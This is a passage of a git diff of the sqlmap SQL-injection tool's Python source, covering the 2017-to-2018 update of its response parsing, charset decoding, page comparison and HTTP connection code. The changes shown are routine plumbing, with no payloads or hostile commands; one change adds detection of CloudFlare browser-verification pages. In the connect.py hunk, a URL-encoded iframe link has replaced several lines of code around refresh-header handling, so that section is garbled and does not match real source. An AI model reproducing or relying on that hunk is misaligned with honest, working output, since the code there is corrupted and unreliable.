copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ import re @@ -44,7 +44,7 @@ def _feedInfo(self, key, value): def startElement(self, name, attrs): if name == "regexp": self._regexp = sanitizeStr(attrs.get("value")) - _ = re.match("\A[A-Za-z0-9]+", self._regexp) # minor trick avoiding compiling of large amount of regexes + _ = re.match(r"\A[A-Za-z0-9]+", self._regexp) # minor trick avoiding compiling of large amount of regexes if _ and _.group(0).lower() in self._banner.lower() or not _: self._match = re.search(self._regexp, self._banner, re.I | re.M) diff --git a/lib/parse/headers.py b/lib/parse/headers.py index 8e073ce4ac3..58accf9a8b9 100644 --- a/lib/parse/headers.py +++ b/lib/parse/headers.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ import itertools @@ -23,11 +23,10 @@ def headersParser(headers): if not kb.headerPaths: kb.headerPaths = { - "cookie": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "cookie.xml"), "microsoftsharepointteamservices": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "sharepoint.xml"), "server": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "server.xml"), - "servlet-engine": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "servlet.xml"), - "set-cookie": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "cookie.xml"), + "servlet-engine": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "servlet-engine.xml"), + "set-cookie": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "set-cookie.xml"), "x-aspnet-version": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "x-aspnet-version.xml"), "x-powered-by": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "x-powered-by.xml"), } diff --git a/lib/parse/html.py b/lib/parse/html.py index f0ee8fcd529..c80bc3599b5 100644 --- a/lib/parse/html.py +++ b/lib/parse/html.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ import re @@ -43,7 +43,7 @@ def startElement(self, name, attrs): elif name == "error": regexp = attrs.get("regexp") if regexp not in kb.cache.regex: - keywords = re.findall("\w+", re.sub(r"\\.", " ", regexp)) + keywords = re.findall(r"\w+", re.sub(r"\\.", " ", regexp)) keywords = sorted(keywords, key=len) kb.cache.regex[regexp] = keywords[-1].lower() diff --git a/lib/parse/payloads.py b/lib/parse/payloads.py index c17f419972e..9f8d5a41bea 100644 --- a/lib/parse/payloads.py +++ b/lib/parse/payloads.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ import os diff --git a/lib/parse/sitemap.py b/lib/parse/sitemap.py index 182703283df..6724ceb0ed6 100644 --- a/lib/parse/sitemap.py +++ b/lib/parse/sitemap.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ import httplib @@ -41,8 +41,7 @@ def parseSitemap(url, retVal=None): if url.endswith(".xml") and "sitemap" in url.lower(): if kb.followSitemapRecursion is None: message = "sitemap recursion detected. Do you want to follow? [y/N] " - test = readInput(message, default="N") - kb.followSitemapRecursion = test[0] in ("y", "Y") + kb.followSitemapRecursion = readInput(message, default='N', boolean=True) if kb.followSitemapRecursion: parseSitemap(url, retVal) else: diff --git a/lib/request/__init__.py b/lib/request/__init__.py index 942d54d8fce..7181b22a163 100644 --- a/lib/request/__init__.py +++ b/lib/request/__init__.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ pass diff --git a/lib/request/basic.py b/lib/request/basic.py index 073e23f8f16..c2fc73d31a8 100644 --- a/lib/request/basic.py +++ b/lib/request/basic.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ import codecs @@ -18,11 +18,13 @@ from lib.core.common import extractRegexResult from lib.core.common import getPublicTypeMembers from lib.core.common import getUnicode +from lib.core.common import isListLike from lib.core.common import randomStr from lib.core.common import readInput from lib.core.common import resetCookieJar from lib.core.common import singleTimeLogMessage from lib.core.common import singleTimeWarnMessage +from lib.core.common import unArrayizeValue from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger @@ -33,6 +35,7 @@ from lib.core.exception import SqlmapCompressionException from lib.core.settings import BLOCKED_IP_REGEX from lib.core.settings import DEFAULT_COOKIE_DELIMITER +from lib.core.settings import DEV_EMAIL_ADDRESS from lib.core.settings import EVENTVALIDATION_REGEX from lib.core.settings import MAX_CONNECTION_TOTAL_SIZE from lib.core.settings import META_CHARSET_REGEX @@ -46,7 +49,7 @@ from thirdparty.chardet import detect from thirdparty.odict.odict import OrderedDict -def forgeHeaders(items=None): +def forgeHeaders(items=None, base=None): """ Prepare HTTP Cookie, HTTP User-Agent and HTTP Referer headers to use when performing the HTTP requests @@ -58,7 +61,7 @@ def forgeHeaders(items=None): if items[_] is None: del items[_] - headers = OrderedDict(conf.httpHeaders) + headers = OrderedDict(base or conf.httpHeaders) headers.update(items.items()) class _str(str): @@ -92,19 +95,19 @@ def title(self): if conf.cj: if HTTP_HEADER.COOKIE in headers: for cookie in conf.cj: - if cookie.domain_specified and not conf.hostname.endswith(cookie.domain): + if cookie.domain_specified and not (conf.hostname or "").endswith(cookie.domain): continue - if ("%s=" % getUnicode(cookie.name)) in headers[HTTP_HEADER.COOKIE]: + if ("%s=" % getUnicode(cookie.name)) in getUnicode(headers[HTTP_HEADER.COOKIE]): if conf.loadCookies: conf.httpHeaders = filter(None, ((item if item[0] != HTTP_HEADER.COOKIE else None) for item in conf.httpHeaders)) elif kb.mergeCookies is None: message = "you provided a HTTP %s header value. " % HTTP_HEADER.COOKIE message += "The target URL provided its own cookies within " message += "the HTTP %s header which intersect with yours. " % HTTP_HEADER.SET_COOKIE - message += "Do you want to merge them in futher requests? [Y/n] " - _ = readInput(message, default="Y") - kb.mergeCookies = not _ or _[0] in ("y", "Y") + message += "Do you want to merge them in further requests? [Y/n] " + + kb.mergeCookies = readInput(message, default='Y', boolean=True) if kb.mergeCookies and kb.injection.place != PLACE.COOKIE: _ = lambda x: re.sub(r"(?i)\b%s=[^%s]+" % (re.escape(getUnicode(cookie.name)), conf.cookieDel or DEFAULT_COOKIE_DELIMITER), ("%s=%s" % (getUnicode(cookie.name), getUnicode(cookie.value))).replace('\\', r'\\'), x) @@ -123,7 +126,7 @@ def title(self): return headers -def parseResponse(page, headers): +def parseResponse(page, headers, status=None): """ @param page: the page to parse to feed the knowledge base htmlFp (back-end DBMS fingerprint based upon DBMS error messages return @@ -135,7 +138,7 @@ def parseResponse(page, headers): headersParser(headers) if page: - htmlParser(page) + htmlParser(page if not status else "%s\n\n%s" % (status, page)) @cachedmethod def checkCharEncoding(encoding, warn=True): @@ -149,13 +152,16 @@ def checkCharEncoding(encoding, warn=True): 'utf8' """ + if isListLike(encoding): + encoding = unArrayizeValue(encoding) + if encoding: encoding = encoding.lower() else: return encoding # Reference: http://www.destructor.de/charsets/index.htm - translate = {"windows-874": "iso-8859-11", "utf-8859-1": "utf8", "en_us": "utf8", "macintosh": "iso-8859-1", "euc_tw": "big5_tw", "th": "tis-620", "unicode": "utf8", "utc8": "utf8", "ebcdic": "ebcdic-cp-be", "iso-8859": "iso8859-1", "ansi": "ascii", "gbk2312": "gbk", "windows-31j": "cp932", "en": "us"} + translate = {"windows-874": "iso-8859-11", "utf-8859-1": "utf8", "en_us": "utf8", "macintosh": "iso-8859-1", "euc_tw": "big5_tw", "th": "tis-620", "unicode": "utf8", "utc8": "utf8", "ebcdic": "ebcdic-cp-be", "iso-8859": "iso8859-1", "iso-8859-0": "iso8859-1", "ansi": "ascii", "gbk2312": "gbk", "windows-31j": "cp932", "en": "us"} for delimiter in (';', ',', '('): if delimiter in encoding: @@ -168,6 +174,8 @@ def checkCharEncoding(encoding, warn=True): encoding = encoding.replace("8858", "8859") # iso-8858 -> iso-8859 elif "8559" in encoding: encoding = encoding.replace("8559", "8859") # iso-8559 -> iso-8859 + elif "8895" in encoding: + encoding = encoding.replace("8895", "8859") # iso-8895 -> iso-8859 elif "5889" in encoding: encoding = encoding.replace("5889", "8859") # iso-5889 -> iso-8859 elif "5589" in encoding: @@ -202,7 +210,7 @@ def checkCharEncoding(encoding, warn=True): # Reference: http://philip.html5.org/data/charsets-2.html if encoding in translate: encoding = translate[encoding] - elif encoding in ("null", "{charset}", "*") or not re.search(r"\w", encoding): + elif encoding in ("null", "{charset}", "charset", "*") or not re.search(r"\w", encoding): return None # Reference: http://www.iana.org/assignments/character-sets @@ -212,7 +220,7 @@ def checkCharEncoding(encoding, warn=True): except (LookupError, ValueError): if warn: warnMsg = "unknown web page charset '%s'. " % encoding - warnMsg += "Please report by e-mail to 'dev@sqlmap.org'" + warnMsg += "Please report by e-mail to '%s'" % DEV_EMAIL_ADDRESS singleTimeLogMessage(warnMsg, logging.WARN, encoding) encoding = None @@ -251,12 +259,22 @@ def decodePage(page, contentEncoding, contentType): if not page or (conf.nullConnection and len(page) < 2): return getUnicode(page) - if isinstance(contentEncoding, basestring) and contentEncoding.lower() in ("gzip", "x-gzip", "deflate"): + if isinstance(contentEncoding, basestring) and contentEncoding: + contentEncoding = contentEncoding.lower() + else: + contentEncoding = "" + + if isinstance(contentType, basestring) and contentType: + contentType = contentType.lower() + else: + contentType = "" + + if contentEncoding in ("gzip", "x-gzip", "deflate"): if not kb.pageCompress: return None try: - if contentEncoding.lower() == "deflate": + if contentEncoding == "deflate": data = StringIO.StringIO(zlib.decompress(page, -15)) # Reference: http://stackoverflow.com/questions/1089662/python-inflate-and-deflate-implementations else: data = gzip.GzipFile("", "rb", 9, StringIO.StringIO(page)) @@ -277,27 +295,26 @@ def decodePage(page, contentEncoding, contentType): kb.pageCompress = False raise SqlmapCompressionException - if not conf.charset: + if not conf.encoding: httpCharset, metaCharset = None, None # Reference: http://stackoverflow.com/questions/1020892/python-urllib2-read-to-unicode - if contentType and (contentType.find("charset=") != -1): + if contentType.find("charset=") != -1: httpCharset = checkCharEncoding(contentType.split("charset=")[-1]) metaCharset = checkCharEncoding(extractRegexResult(META_CHARSET_REGEX, page)) - if (any((httpCharset, metaCharset)) and not all((httpCharset, metaCharset)))\ - or (httpCharset == metaCharset and all((httpCharset, metaCharset))): + if (any((httpCharset, metaCharset)) and not all((httpCharset, metaCharset))) or (httpCharset == metaCharset and all((httpCharset, metaCharset))): kb.pageEncoding = httpCharset or metaCharset # Reference: http://bytes.com/topic/html-css/answers/154758-http-equiv-vs-true-header-has-precedence debugMsg = "declared web page charset '%s'" % kb.pageEncoding singleTimeLogMessage(debugMsg, logging.DEBUG, debugMsg) else: kb.pageEncoding = None else: - kb.pageEncoding = conf.charset + kb.pageEncoding = conf.encoding # can't do for all responses because we need to support binary files too - if contentType and not isinstance(page, unicode) and "text/" in contentType.lower(): + if not isinstance(page, unicode) and "text/" in contentType: if kb.heuristicMode: kb.pageEncoding = kb.pageEncoding or checkCharEncoding(getHeuristicCharEncoding(page)) page = getUnicode(page, kb.pageEncoding) @@ -314,6 +331,12 @@ def decodePage(page, contentEncoding, contentType): page = re.sub(r"&([^;]+);", lambda _: chr(htmlEntities[_.group(1)]) if htmlEntities.get(_.group(1), 256) < 256 else _.group(0), page) kb.pageEncoding = kb.pageEncoding or checkCharEncoding(getHeuristicCharEncoding(page)) + + if kb.pageEncoding and kb.pageEncoding.lower() == "utf-8-sig": + kb.pageEncoding = "utf-8" + if page and page.startswith("\xef\xbb\xbf"): # Reference: https://docs.python.org/2/library/codecs.html (Note: noticed problems when "utf-8-sig" is left to Python for handling) + page = page[3:] + page = getUnicode(page, kb.pageEncoding) # e.g. ’…™ @@ -332,12 +355,12 @@ def _(match): return page -def processResponse(page, responseHeaders): +def processResponse(page, responseHeaders, status=None): kb.processResponseCounter += 1 page = page or "" - parseResponse(page, responseHeaders if kb.processResponseCounter < PARSE_HEADERS_LIMIT else None) + parseResponse(page, responseHeaders if kb.processResponseCounter < PARSE_HEADERS_LIMIT else None, status) if not kb.tableFrom and Backend.getIdentifiedDbms() in (DBMS.ACCESS,): kb.tableFrom = extractRegexResult(SELECT_FROM_TABLE_REGEX, page) @@ -360,10 +383,19 @@ def processResponse(page, responseHeaders): continue else: msg = "do you want to automatically adjust the value of '%s'? [y/N]" % name - if readInput(msg, default='N').strip().upper() != 'Y': + + if not readInput(msg, default='N', boolean=True): continue + conf.paramDict[PLACE.POST][name] = value - conf.parameters[PLACE.POST] = re.sub("(?i)(%s=)[^&]+" % name, r"\g<1>%s" % value, conf.parameters[PLACE.POST]) + conf.parameters[PLACE.POST] = re.sub(r"(?i)(%s=)[^&]+" % re.escape(name), r"\g<1>%s" % re.escape(value), conf.parameters[PLACE.POST]) + + if not kb.browserVerification and re.search(r"(?i)browser.?verification", page or ""): + kb.browserVerification = True + warnMsg = "potential browser verification protection mechanism detected" + if re.search(r"(?i)CloudFlare", page): + warnMsg += " (CloudFlare)" + singleTimeWarnMessage(warnMsg) if not kb.captchaDetected and re.search(r"(?i)captcha", page or ""): for match in re.finditer(r"(?si)", page): diff --git a/lib/request/basicauthhandler.py b/lib/request/basicauthhandler.py index c6e4a3207c8..cd115e6fc9d 100644 --- a/lib/request/basicauthhandler.py +++ b/lib/request/basicauthhandler.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ import urllib2 diff --git a/lib/request/comparison.py b/lib/request/comparison.py index 3436565749d..bd8612d99dc 100644 --- a/lib/request/comparison.py +++ b/lib/request/comparison.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ import re @@ -49,7 +49,7 @@ def _comparison(page, headers, code, getRatioValue, pageLength): threadData = getCurrentThreadData() if kb.testMode: - threadData.lastComparisonHeaders = listToStrValue([_ for _ in headers.headers if not _.startswith("%s:" % URI_HTTP_HEADER)]) if headers else "" + threadData.lastComparisonHeaders = listToStrValue(_ for _ in headers.headers if not _.startswith("%s:" % URI_HTTP_HEADER)) if headers else "" threadData.lastComparisonPage = page threadData.lastComparisonCode = code @@ -57,7 +57,7 @@ def _comparison(page, headers, code, getRatioValue, pageLength): return None if any((conf.string, conf.notString, conf.regexp)): - rawResponse = "%s%s" % (listToStrValue([_ for _ in headers.headers if not _.startswith("%s:" % URI_HTTP_HEADER)]) if headers else "", page) + rawResponse = "%s%s" % (listToStrValue(_ for _ in headers.headers if not _.startswith("%s:" % URI_HTTP_HEADER)) if headers else "", page) # String to match in page when the query is True and/or valid if conf.string: @@ -106,16 +106,21 @@ def _comparison(page, headers, code, getRatioValue, pageLength): # Preventing "Unicode equal comparison failed to convert both arguments to Unicode" # (e.g. if one page is PDF and the other is HTML) if isinstance(seqMatcher.a, str) and isinstance(page, unicode): - page = page.encode(kb.pageEncoding or DEFAULT_PAGE_ENCODING, 'ignore') + page = page.encode(kb.pageEncoding or DEFAULT_PAGE_ENCODING, "ignore") elif isinstance(seqMatcher.a, unicode) and isinstance(page, str): - seqMatcher.a = seqMatcher.a.encode(kb.pageEncoding or DEFAULT_PAGE_ENCODING, 'ignore') + seqMatcher.a = seqMatcher.a.encode(kb.pageEncoding or DEFAULT_PAGE_ENCODING, "ignore") - if seqMatcher.a and page and seqMatcher.a == page: - ratio = 1 + if any(_ is None for _ in (page, seqMatcher.a)): + return None + elif seqMatcher.a and page and seqMatcher.a == page: + ratio = 1. elif kb.skipSeqMatcher or seqMatcher.a and page and any(len(_) > MAX_DIFFLIB_SEQUENCE_LENGTH for _ in (seqMatcher.a, page)): - ratio = 1.0 * len(seqMatcher.a) / len(page) - if ratio > 1: - ratio = 1. / ratio + if not page or not seqMatcher.a: + return float(seqMatcher.a == page) + else: + ratio = 1. * len(seqMatcher.a) / len(page) + if ratio > 1: + ratio = 1. / ratio else: seq1, seq2 = None, None @@ -144,6 +149,9 @@ def _comparison(page, headers, code, getRatioValue, pageLength): kb.matchRatio = ratio logger.debug("setting match ratio for current parameter to %.3f" % kb.matchRatio) + if kb.testMode: + threadData.lastComparisonRatio = ratio + # If it has been requested to return the ratio and not a comparison # response if getRatioValue: diff --git a/lib/request/connect.py b/lib/request/connect.py index 41a18e007ef..c7001371bcd 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ import binascii @@ -51,11 +51,13 @@ class WebSocketException(Exception): from lib.core.common import randomStr from lib.core.common import readInput from lib.core.common import removeReflectiveValues +from lib.core.common import safeVariableNaming from lib.core.common import singleTimeLogMessage from lib.core.common import singleTimeWarnMessage from lib.core.common import stdev from lib.core.common import wasLastResponseDelayed from lib.core.common import unicodeencode +from lib.core.common import unsafeVariableNaming from lib.core.common import urldecode from lib.core.common import urlencode from lib.core.data import conf @@ -81,7 +83,6 @@ class WebSocketException(Exception): from lib.core.exception import SqlmapValueException from lib.core.settings import ASTERISK_MARKER from lib.core.settings import BOUNDARY_BACKSLASH_MARKER -from lib.core.settings import CUSTOM_INJECTION_MARK_CHAR from lib.core.settings import DEFAULT_CONTENT_TYPE from lib.core.settings import DEFAULT_COOKIE_DELIMITER from lib.core.settings import DEFAULT_GET_POST_DELIMITER @@ -105,6 +106,7 @@ class WebSocketException(Exception): from lib.core.settings import REPLACEMENT_MARKER from lib.core.settings import TEXT_CONTENT_TYPE_REGEX from lib.core.settings import UNENCODED_ORIGINAL_VALUE +from lib.core.settings import UNICODE_ENCODING from lib.core.settings import URI_HTTP_HEADER from lib.core.settings import WARN_TIME_STDEV from lib.request.basic import decodePage @@ -146,9 +148,9 @@ def _retryProxy(**kwargs): if kb.testMode and kb.previousMethod == PAYLOAD.METHOD.TIME: # timed based payloads can cause web server unresponsiveness # if the injectable piece of code is some kind of JOIN-like query - warnMsg = "most probably web server instance hasn't recovered yet " + warnMsg = "most likely web server instance hasn't recovered yet " warnMsg += "from previous timed based payload. If the problem " - warnMsg += "persists please wait for few minutes and rerun " + warnMsg += "persists please wait for a few minutes and rerun " warnMsg += "without flag 'T' in option '--technique' " warnMsg += "(e.g. '--flush-session --technique=BEUS') or try to " warnMsg += "lower the value of option '--time-sec' (e.g. '--time-sec=2')" @@ -222,6 +224,8 @@ def getPage(**kwargs): the target URL page content """ + start = time.time() + if isinstance(conf.delay, (int, float)) and conf.delay > 0: time.sleep(conf.delay) @@ -256,6 +260,7 @@ def getPage(**kwargs): refreshing = kwargs.get("refreshing", False) retrying = kwargs.get("retrying", False) crawling = kwargs.get("crawling", False) + checking = kwargs.get("checking", False) skipRead = kwargs.get("skipRead", False) if multipart: @@ -277,13 +282,17 @@ def getPage(**kwargs): # url splitted with space char while urlencoding it in the later phase url = url.replace(" ", "%20") + if "://" not in url: + url = "http://%s" % url + conn = None - code = None page = None + code = None + status = None _ = urlparse.urlsplit(url) - requestMsg = u"HTTP request [#%d]:\n%s " % (threadData.lastRequestUID, method or (HTTPMETHOD.POST if post is not None else HTTPMETHOD.GET)) - requestMsg += ("%s%s" % (_.path or "/", ("?%s" % _.query) if _.query else "")) if not any((refreshing, crawling)) else url + requestMsg = u"HTTP request [#%d]:\r\n%s " % (threadData.lastRequestUID, method or (HTTPMETHOD.POST if post is not None else HTTPMETHOD.GET)) + requestMsg += getUnicode(("%s%s" % (_.path or "/", ("?%s" % _.query) if _.query else "")) if not any((refreshing, crawling, checking)) else url) responseMsg = u"HTTP response " requestHeaders = u"" responseHeaders = None @@ -305,13 +314,13 @@ def getPage(**kwargs): params = urlencode(params) url = "%s?%s" % (url, params) - elif any((refreshing, crawling)): + elif any((refreshing, crawling, checking)): pass elif target: if conf.forceSSL and urlparse.urlparse(url).scheme != "https": - url = re.sub("\Ahttp:", "https:", url, re.I) - url = re.sub(":80/", ":443/", url, re.I) + url = re.sub(r"(?i)\Ahttp:", "https:", url) + url = re.sub(r"(?i):80/", ":443/", url) if PLACE.GET in conf.parameters and not get: get = conf.parameters[PLACE.GET] @@ -374,16 +383,10 @@ def getPage(**kwargs): # Reset header values to original in case of provided request file if target and conf.requestFile: - headers = OrderedDict(conf.httpHeaders) - if cookie: - headers[HTTP_HEADER.COOKIE] = cookie + headers = forgeHeaders({HTTP_HEADER.COOKIE: cookie}) if auxHeaders: - for key, value in auxHeaders.items(): - for _ in headers.keys(): - if _.upper() == key.upper(): - del headers[_] - headers[key] = value + headers = forgeHeaders(auxHeaders, headers) for key, value in headers.items(): del headers[key] @@ -409,13 +412,13 @@ class _(dict): responseHeaders = _(ws.getheaders()) responseHeaders.headers = ["%s: %s\r\n" % (_[0].capitalize(), _[1]) for _ in responseHeaders.items()] - requestHeaders += "\n".join(["%s: %s" % (getUnicode(key.capitalize() if isinstance(key, basestring) else key), getUnicode(value)) for (key, value) in responseHeaders.items()]) - requestMsg += "\n%s" % requestHeaders + requestHeaders += "\r\n".join(["%s: %s" % (getUnicode(key.capitalize() if isinstance(key, basestring) else key), getUnicode(value)) for (key, value) in responseHeaders.items()]) + requestMsg += "\r\n%s" % requestHeaders if post is not None: - requestMsg += "\n\n%s" % getUnicode(post) + requestMsg += "\r\n\r\n%s" % getUnicode(post) - requestMsg += "\n" + requestMsg += "\r\n" threadData.lastRequestMsg = requestMsg @@ -428,26 +431,26 @@ class _(dict): else: req = urllib2.Request(url, post, headers) - requestHeaders += "\n".join(["%s: %s" % (getUnicode(key.capitalize() if isinstance(key, basestring) else key), getUnicode(value)) for (key, value) in req.header_items()]) + requestHeaders += "\r\n".join(["%s: %s" % (getUnicode(key.capitalize() if isinstance(key, basestring) else key), getUnicode(value)) for (key, value) in req.header_items()]) if not getRequestHeader(req, HTTP_HEADER.COOKIE) and conf.cj: conf.cj._policy._now = conf.cj._now = int(time.time()) cookies = conf.cj._cookies_for_request(req) - requestHeaders += "\n%s" % ("Cookie: %s" % ";".join("%s=%s" % (getUnicode(cookie.name), getUnicode(cookie.value)) for cookie in cookies)) + requestHeaders += "\r\n%s" % ("Cookie: %s" % ";".join("%s=%s" % (getUnicode(cookie.name), getUnicode(cookie.value)) for cookie in cookies)) if post is not None: if not getRequestHeader(req, HTTP_HEADER.CONTENT_LENGTH): - requestHeaders += "\n%s: %d" % (string.capwords(HTTP_HEADER.CONTENT_LENGTH), len(post)) + requestHeaders += "\r\n%s: %d" % (string.capwords(HTTP_HEADER.CONTENT_LENGTH), len(post)) if not getRequestHeader(req, HTTP_HEADER.CONNECTION): - requestHeaders += "\n%s: %s" % (HTTP_HEADER.CONNECTION, "close" if not conf.keepAlive else "keep-alive") + requestHeaders += "\r\n%s: %s" % (HTTP_HEADER.CONNECTION, "close" if not conf.keepAlive else "keep-alive") - requestMsg += "\n%s" % requestHeaders + requestMsg += "\r\n%s" % requestHeaders if post is not None: - requestMsg += "\n\n%s" % getUnicode(post) + requestMsg += "\r\n\r\n%s" % getUnicode(post) - requestMsg += "\n" + requestMsg += "\r\n" if not multipart: threadData.lastRequestMsg = requestMsg @@ -475,7 +478,7 @@ class _(dict): return conn, None, None # Get HTTP response - if hasattr(conn, 'redurl'): + if hasattr(conn, "redurl"): page = (threadData.lastRedirectMsg[1] if kb.redirectChoice == REDIRECTION.NO\ else Connect._connReadProxy(conn)) if not skipRead else None skipLogTraffic = kb.redirectChoice == REDIRECTION.NO @@ -483,45 +486,53 @@ class _(dict): else: page = Connect._connReadProxy(conn) if not skipRead else None - code = code or (conn.code if conn else None) - responseHeaders = conn.info() - responseHeaders[URI_HTTP_HEADER] = conn.geturl() + if conn: + code = conn.code + responseHeaders = conn.info() + responseHeaders[URI_HTTP_HEADER] = conn.geturl() + else: + code = None + responseHeaders = {} + page = decodePage(page, responseHeaders.get(HTTP_HEADER.CONTENT_ENCODING), responseHeaders.get(HTTP_HEADER.CONTENT_TYPE)) - status = getUnicode(conn.msg) + status = getUnicode(conn.msg) if conn else None kb.connErrorCounter = 0 - if extractRegexResult(META_REFRESH_REGEX, page) and not refreshing: - refresh = extractRegexResult(META_REFRESH_REGEX, page) + if not refreshing: + refresh = responseHeaders.get(HTTP_HEADER.REFRESH, "").split("url="iframe.php?url=https%3A%2F%2Fgithub.com%2F%29%5B-1%5D.strip%28%29%0A+%0A-++++++++++++++++debugMsg+%3D+"got HTML meta refresh header" - logger.debug(debugMsg) + if extractRegexResult(META_REFRESH_REGEX, page): + refresh = extractRegexResult(META_REFRESH_REGEX, page) - if kb.alwaysRefresh is None: - msg = "sqlmap got a refresh request " - msg += "(redirect like response common to login pages). " - msg += "Do you want to apply the refresh " - msg += "from now on (or stay on the original page)? [Y/n]" - choice = readInput(msg, default="Y") + debugMsg = "got HTML meta refresh header" + logger.debug(debugMsg) - kb.alwaysRefresh = choice not in ("n", "N") + if refresh: + if kb.alwaysRefresh is None: + msg = "sqlmap got a refresh request " + msg += "(redirect like response common to login pages). " + msg += "Do you want to apply the refresh " + msg += "from now on (or stay on the original page)? [Y/n]" - if kb.alwaysRefresh: - if re.search(r"\Ahttps?://", refresh, re.I): - url = refresh - else: - url = urlparse.urljoin(url, refresh) + kb.alwaysRefresh = readInput(msg, default='Y', boolean=True) + + if kb.alwaysRefresh: + if re.search(r"\Ahttps?://", refresh, re.I): + url = refresh + else: + url = urlparse.urljoin(url, refresh) - threadData.lastRedirectMsg = (threadData.lastRequestUID, page) - kwargs['refreshing'] = True - kwargs['url'] = url - kwargs['get'] = None - kwargs['post'] = None + threadData.lastRedirectMsg = (threadData.lastRequestUID, page) + kwargs["refreshing"] = True + kwargs["url"] = url + kwargs["get"] = None + kwargs["post"] = None - try: - return Connect._getPageProxy(**kwargs) - except SqlmapSyntaxException: - pass + try: + return Connect._getPageProxy(**kwargs) + except SqlmapSyntaxException: + pass # Explicit closing of connection object if conn and not conf.keepAlive: @@ -533,10 +544,22 @@ class _(dict): warnMsg = "problem occurred during connection closing ('%s')" % getSafeExString(ex) logger.warn(warnMsg) + except SqlmapConnectionException, ex: + if conf.proxyList and not kb.threadException: + warnMsg = "unable to connect to the target URL ('%s')" % ex + logger.critical(warnMsg) + threadData.retriesCount = conf.retries + return Connect._retryProxy(**kwargs) + else: + raise + except urllib2.HTTPError, ex: page = None responseHeaders = None + if checking: + return None, None, None + try: page = ex.read() if not skipRead else None responseHeaders = ex.info() @@ -555,63 +578,65 @@ class _(dict): page = page if isinstance(page, unicode) else getUnicode(page) code = ex.code + status = getUnicode(ex.msg) kb.originalCode = kb.originalCode or code - threadData.lastHTTPError = (threadData.lastRequestUID, code) + threadData.lastHTTPError = (threadData.lastRequestUID, code, status) kb.httpErrorCodes[code] = kb.httpErrorCodes.get(code, 0) + 1 - status = getUnicode(ex.msg) - responseMsg += "[#%d] (%d %s):\n" % (threadData.lastRequestUID, code, status) + responseMsg += "[#%d] (%d %s):\r\n" % (threadData.lastRequestUID, code, status) if responseHeaders: - logHeaders = "\n".join(["%s: %s" % (getUnicode(key.capitalize() if isinstance(key, basestring) else key), getUnicode(value)) for (key, value) in responseHeaders.items()]) + logHeaders = "\r\n".join(["%s: %s" % (getUnicode(key.capitalize() if isinstance(key, basestring) else key), getUnicode(value)) for (key, value) in responseHeaders.items()]) - logHTTPTraffic(requestMsg, "%s%s\n\n%s" % (responseMsg, logHeaders, (page or "")[:MAX_CONNECTION_CHUNK_SIZE])) + logHTTPTraffic(requestMsg, "%s%s\r\n\r\n%s" % (responseMsg, logHeaders, (page or "")[:MAX_CONNECTION_CHUNK_SIZE]), start, time.time()) skipLogTraffic = True if conf.verbose <= 5: responseMsg += getUnicode(logHeaders) elif conf.verbose > 5: - responseMsg += "%s\n\n%s" % (logHeaders, (page or "")[:MAX_CONNECTION_CHUNK_SIZE]) + responseMsg += "%s\r\n\r\n%s" % (logHeaders, (page or "")[:MAX_CONNECTION_CHUNK_SIZE]) if not multipart: logger.log(CUSTOM_LOGGING.TRAFFIC_IN, responseMsg) - if ex.code == httplib.UNAUTHORIZED and not conf.ignore401: - errMsg = "not authorized, try to provide right HTTP " - errMsg += "authentication type and valid credentials (%d)" % code - raise SqlmapConnectionException(errMsg) - elif ex.code == httplib.NOT_FOUND: - if raise404: - errMsg = "page not found (%d)" % code + if ex.code != conf.ignoreCode: + if ex.code == httplib.UNAUTHORIZED: + errMsg = "not authorized, try to provide right HTTP " + errMsg += "authentication type and valid credentials (%d)" % code raise 